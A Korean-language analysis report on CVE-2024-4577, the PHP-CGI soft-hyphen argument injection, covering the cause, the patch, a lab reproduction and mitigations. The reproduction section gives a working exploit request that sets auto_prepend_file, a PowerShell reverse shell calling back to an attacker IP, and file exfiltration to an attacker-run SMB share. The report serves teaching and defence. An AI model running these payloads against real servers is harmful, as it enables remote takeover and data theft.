CVE-2024-4577
1. 개요
- 선정한 CVE 번호: CVE-2024-4577 관련링크(https://nvd.nist.gov/vuln/detail/cve-2024-4577)
- 간략한 설명: 해당 취약점은 PHP의 취약버전에서 Best-Fit Mapping을 사용해 인코딩시 유니코드 문자인 소프트 하이픈(”-”,0xAD)을 일반 문자 하이픈(”-”,0x2D)으로 인코딩하면서 발생하개 된다. PHP GCI핸들러는 일반 하이픈(”-”)은 필터링 하지만 소프트 하이픈(”-”)을 필터링하지 않아 Best-Fit Maaping을 통해 변환된 하이픈(”-”)으로 인자 삽입을 시도할 수 있게 되며 발생하게 된다. 주로 중국어 번체 및 간체, 일본어를 사용하는 경우 익스플로잇에 영향을 받을 수 있다.
- 취약점 공개 일자: 2024년 06월 09일
- 영향 받는 소프트웨어 및 시스템: php
영향을 받는 버전 |
패치 버전 |
PHP 5, PHP 7, PHP 8.0 |
End-of-Life (EOL) |
(보안 패치 및 업데이트 지원되지 않음) |
|
PHP 8.1.0 ~ PHP 8.1.28 |
8.1.29 |
PHP 8.2.0 ~ PHP 8.2.19 |
8.2.20 |
PHP 8.3.0 ~ PHP 8.3.7 |
8.3.8 |
2. 취약점 상세 분석
2.1 취약점의 기술적 원리
- 취약점 발생 원리 및 공격 메커니즘: PHP의 CGI 모드에서는 서버로 전달된 HTTP 요청을 적절히 파싱하고, 이를 처리할 PHP 스크립트로 전달한다. 예를 들어 http://host/cgi.php?abc=g2h 이라는 요청이 서버에 전달되면, php.exe cgi.php abc=g2h 과 같은 명령어가 실행된다
이러한 동작 방식은 command injection 을 일으킬 가능성이 있다.
URL 파라미터와 함꼐 전달된 매개변수에 소프트 하이픈(0XAD)은 일반 하이픈(0X2D)으로 해석되어 PHP 서버에서는 이를 추가로 명령줄 인수로 인식하여 아래와 같이 명령 실행이 된다. 이는 CGI 핸들러는 일반 하이픈(0X2D)는 필터링 하지만, (0XAD)는 필터링 하지 않아, Best-Fit Mapping을 통해 변환된 일반 하이픈(0X2D)으로 Argument Injection을 진행할 수 있게 된다.
(현재까지는 중국어 번체(코드 페이지 950), 중국어 간체(코드 페이지 936), 일본어(코드 페이지 932) 로케일에서 발생하는 것으로 확인)
해당 명령이 실행되게 되면, PHP 설정이 변경되며, HTTP Body로 추가 임의의 명령 데이터를 전송하게되면 이를 php 코드로 실행시키게 된다.
2.1.1 관련 코드 또는 구성 요소 분석
원본 취약 코드
// PHP-CGI(sapi/cgi/cgi_main.c)
if ((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
p = decoded_query_string;
// 첫 번째 문자만 검사하여 '-' 이면 옵션 전달 차단
if (*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
- 환경 변수 QUERY_STRINGFMF 가져온 후 문자열에 “=” 문자가 없을 경우 조건문을 실행
- Apache CGI가 QUERY_STRING을 명령행 인수로 넘김
- 원본 QUERY_STRING을 복사하여 쿼리 문자열을 URL 디코딩 처리
- 디코딩된 쿼리의 문자열의 첫 문자가 “-“문자일 경우 전달 중지
- "-"문자가 아닐경우 명령줄 옵션으로 전달 가능 이 때 Command Injection 취약점이 존재 -> 즉 이부분에 URL 파라미터에 소프트 하이픈(0XAD)를 보낼 경우 일반 하이픈(0X2D)로 해석되어 해당 조건문을 우회하여 명령줄 인수로 인식된다.
최종 패치 코드
// PHP-CGI (sapi/cgi/cgi_main.c) 최종 패치 코드
if ((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
#ifdef PHP_WIN32
// Windows의 경우 CGI나 FastCGI 모드에서는 옵션 파싱을 원천 차단
skip_getopt = cgi || fastcgi;
#else
// Linux 등 다른 운영체제에서는 첫 문자 '-'로 시작하는 경우만 차단 (기존 방식 유지)
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
p = decoded_query_string;
if (*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
#endif
}
- 환경 변수 QUERY_STRINGFMF 가져온 후 문자열에 “=” 문자가 없을 경우 조건문을 실행
- Windows 환경일 때 CGI 또는 FastCGI로 실행 중이라면 명령줄 옵션 전달 자체를 아예 하지 않음
- 모든 문자로 인한 공격 가능성을 원천적으로 제거
2.2 위험성 및 영향 분석
- CVSS 점수 및 위험성 평가: Base Score: 9.8 CRITICALVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 실제 발생 가능한 피해 사례
1. Analysis of TellYouThePass Malware
2. Gh0st RAT 멀웨어
3. RedTail 크립토마이너
4. Muhstik 멀웨어
5. XMRig
3. 실습 및 공격 재현
3.1 실습 환경 구성
구분 |
내용 |
운영체제 |
Windows 10 |
시스템 로캘 |
중국어 간체 |
XAMPP 및 PHP 버전 |
XAMPP for Windows 8.2.12 (PHP 8.2.12) |
- 사용한 도구 및 소프트웨어 목록
1. burpsuite
3.2 공격 단계 및 방법
- 공격 과정 단계별 설명 (스크린샷 또는 코드 예시 포함):
1. 타겟 시스템에 대한 PHP 사용 여부 및 취약 PHP 버전 확인
2. 웹 페이지 접근 이후 BurpSuite를 사용하여 /php-cgi/php-cgi.exe?%AD 경로를 포함한 URL요청을 POST로 변경하여 전송
3. Body에 악성 페이로드 삽입
1. 취약한 PHP 버전 확인
whatweb http://192.168.233.132
http://192.168.233.132 [302 Found] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[192.168.233.132], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://192.168.233.132/dashboard/], X-Powered-By[PHP/8.2.12]
http://192.168.233.132/dashboard/ [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], Email[fastly-logo@2x.png], HTML5, HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[192.168.233.132], JQuery[1.10.2], Modernizr, OpenSSL[3.1.3], PHP[8.2.12], Script[text/javascript], Title[Welcome to XAMPP]
2. BurpSuite를 이용하여 해당 페이지에 대한 요청값을 가로챈 후 요청 메서드를 GET -> POST로 변경하여 취약점을 이용하여 0XAD를 포함한 스크립트 추가
POST /php-cgi/php-cgi.exe?%ADd+open_basedir%3D+%ADd+cgi.redirect_status_env%3D0+%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+suhosin.simulation%3D1+%ADn+%ADd+auto_prepend_file%3Dphp%3A%2F%2Finput HTTP/1.1
3. 이후 Body 값에 희생자 PC에서 실행될 악성 스크립트 추가 삽입
<?php
system('powershell -Command "$client = New-Object System.Net.Sockets.TCPClient(\'172.31.148.103\', 4242); $stream = $client.GetStream(); $reader = New-Object System.IO.StreamReader($stream); $writer = New-Object System.IO.StreamWriter($stream); while ($true) { $data = $reader.ReadLine(); if ($data) { $result = Invoke-Expression $data; $writer.WriteLine($result); $writer.Flush(); } }"');
echo "Success";
?>
4. 공격자 PC에서 NC를 통한 포트개방 후 대기
┌──(g2h㉿g2h)-[~]
└─$ nc -lvnp 4242
listening on [any] 4242 .
5. 성공적으로 Reverse Connection이 맺어진 걸 확인할 수 있음.
┌──(g2h㉿g2h)-[~]
└─$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [172.31.148.103] from (UNKNOWN) [172.31.144.1] 56584
whoami
desktop-9bpsm70\g2h
6. 파일 유출을 위해 공격자 PC에서 SMB 공유디렉터리를 생성 후 대기
mkdir -p $(pwd)/myshare
sudo impacket-smbserver myshare $(pwd)/myshare -smb2support
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
7. 희생자 PC에서 공격자 PC에 만들어놓은 공유 디렉터리에 접근 후 유출할 파일 (ex) 본 실습에서는 README파일을 가져옴)을 공유 디렉터리로 전송
net use Z: \\172.31.148.103\myshare
copy C:\xampp\php\README.md Z:\
8. 성공적으로 공격자가 열어놓은 SMB를 통해 희생자 PC에서의 자료(데이터)를 가져온 걸 볼 수 있음.
[*] Incoming connection (172.31.144.1,56590)
[*] AUTHENTICATE_MESSAGE (DESKTOP-9BPSM70\g2h,DESKTOP-9BPSM70)
[*] User DESKTOP-9BPSM70\g2h authenticated successfully
[*] g2h::DESKTOP-9BPSM70:aaaaaaaaaaaaaaaa:87fc195c73ccc7cdc5ad5e1d95c4e9d0:0101000000000000003700c6cf9bdb01b6bf7c9f5b8d0bb90000000001001000580054004c007700540077004400730003001000580054004c0077005400770044007300020010007400710075006300460075006d004f00040010007400710075006300460075006d004f0007000800003700c6cf9bdb01060004000200000008003000300000000000000001000000002000002d56419eae49d97c2aec0cb5a7dfe6aa134a508148e58652e0617e8c798492f70a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00330031002e003100340038002e003100300033000000000000000000
[*] Connecting Share(1:myshare)
'''
┌──(g2h㉿g2h)-[~/myshare]
└─$ ls
README.md
'''
head -n 30 README.md
<div align="center">
<a href="https://php.net">
<img
alt="PHP"
src="https://www.php.net/images/logos/new-php-logo.svg"
width="150">
</a>
</div>
# The PHP Interpreter
PHP is a popular general-purpose scripting language that is especially suited to
web development. Fast, flexible and pragmatic, PHP powers everything from your
blog to the most popular websites in the world. PHP is distributed under the
[PHP License v3.01](LICENSE).
[](https://github.com/php/php-src/actions/workflows/push.yml)
[](https://travis-ci.com/github/php/php-src)
[](https://dev.azure.com/phpazuredevops/php/_build/latest?definitionId=1&branchName=master)
[](https://bugs.chromium.org/p/oss-fuzz/issues/list?sort=-opened&can=1&q=proj:php)
## Documentation
The PHP manual is available at [php.net/docs](https://php.net/docs).
## Installation
### Prebuilt packages and binaries
Prebuilt packages and binaries can be used to get up and running fast with PHP.
4. 대응 방안
4.1 패치 및 업데이트
- 해당 CVE에 대응하는 패치 정보
- KISA가 밝힌 영향을 받는 버전
- 8.1.29 이전 버전 침해사고 방지를 위해 8.1.29 버전으로 업데이트 권장
- 8.2.20 이전 버전 침해사고 방지를 위해 8.2.20 버전으로 업데이트 권장
- 8.3.8 이전 버전 침해사고 방지를 위해 8.3.8 버전으로 업데이트 권장
- 업데이트가 불가능한 경우, 윈도우용 XAMPP를 사용한다면 설정 파일에서 PHP CGI 디렉토리 노출 제거
- Rewrite 규칙을 사용하여 공격을 차단
4.2 보안 설정 및 방어 기법
- 시스템 및 네트워크 차원의 보안 설정 권고:
- 최신 보안 패치(PHP 8.3.8, 8.2.20, 8.1.29 이상 버전)를 신속히 적용하여 해당 취약점을 근본적으로 해결해야 함.
- 웹 서버에서 PHP-CGI 바이너리가 외부에서 접근 가능한 디렉터리에 위치하지 않도록 설정하여 외부로부터의 직접 접근을 원천 차단해야 함
- 웹 서버의 CGI 실행 권한을 최소한의 필수 사용자 권한으로 제한하고, 필요 이상의 시스템 권한을 허용하지 않아야 함.
- 방화벽과 침입 탐지 시스템(IDS) 및 침입 방지 시스템(IPS)을 통해 비정상적인 CGI 요청이나 유니코드 문자 처리 시도를 탐지하고 차단해야 함.
- 추가적인 방어 조치 제안:
- 웹 애플리케이션 방화벽(WAF)을 활용하여 특수 유니코드 문자를 포함하는 의심스러운 요청을 필터링하고 사전에 차단할 것을 권고함.
- 로그 모니터링을 강화하여 PHP-CGI 접근 및 명령 실행 로그를 지속적으로 수집, 분석하여 비정상적인 행동 패턴을 조기에 탐지할 수 있도록 해야 함.
- PHP 환경을 가능한 CGI가 아닌 모듈 형태(FPM 등)로 구동하여 CGI 기반의 구조적 취약성을 근본적으로 줄이는 것을 고려할 수 있음.
5. 결론
- 분석 요약 및 중요성 강조:
- CVE-2024-4577 취약점은 Windows 환경의 PHP-CGI에서 특정 유니코드 문자가 정상적인 필터링 과정을 우회하여 원격 코드 실행이 가능하도록 하는 심각한 보안 문제임.
- 취약점이 간단한 문자 변환 과정을 악용하여 쉽게 활용 가능하기 때문에 실제 공격에 악용될 위험성이 매우 높아 빠른 대응이 필수적임.
- 지속적인 모니터링 및 관리 방안 제시:
- 정기적인 보안 업데이트 적용과 함께 취약점 관련 최신 보안 이슈를 지속적으로 모니터링하여 유사한 공격 시도를 사전에 차단하고 대비해야 함.
- 네트워크 및 시스템 로그에 대한 지속적 분석 체계를 구축하여 잠재적 위협을 빠르게 식별하고 대응할 수 있는 프로세스를 마련해야 함.
참고문헌
- https://www.cyberone.kr/news-trends-detail?id=113687&page=1
- https://medium.com/s2wblog/tellyouthepass-ransomware-attacks-exploits-critical-php-rce-vulnerability-08d111e8e545
- https://www.akamai.com/ko/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
- https://nvd.nist.gov/vuln/detail/cve-2024-4577
- https://fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=4002
- https://tuxcare.com/ko/blog/critical-vulnerability-cve-2024-4577-understanding-the-threat-and-its-exploitation-in-the-wild/
- https://blog.naver.com/information_schema/223474001322
- https://hackyboiz.github.io/2024/06/12/ogu123/cve-2024-4577/
Leave a comment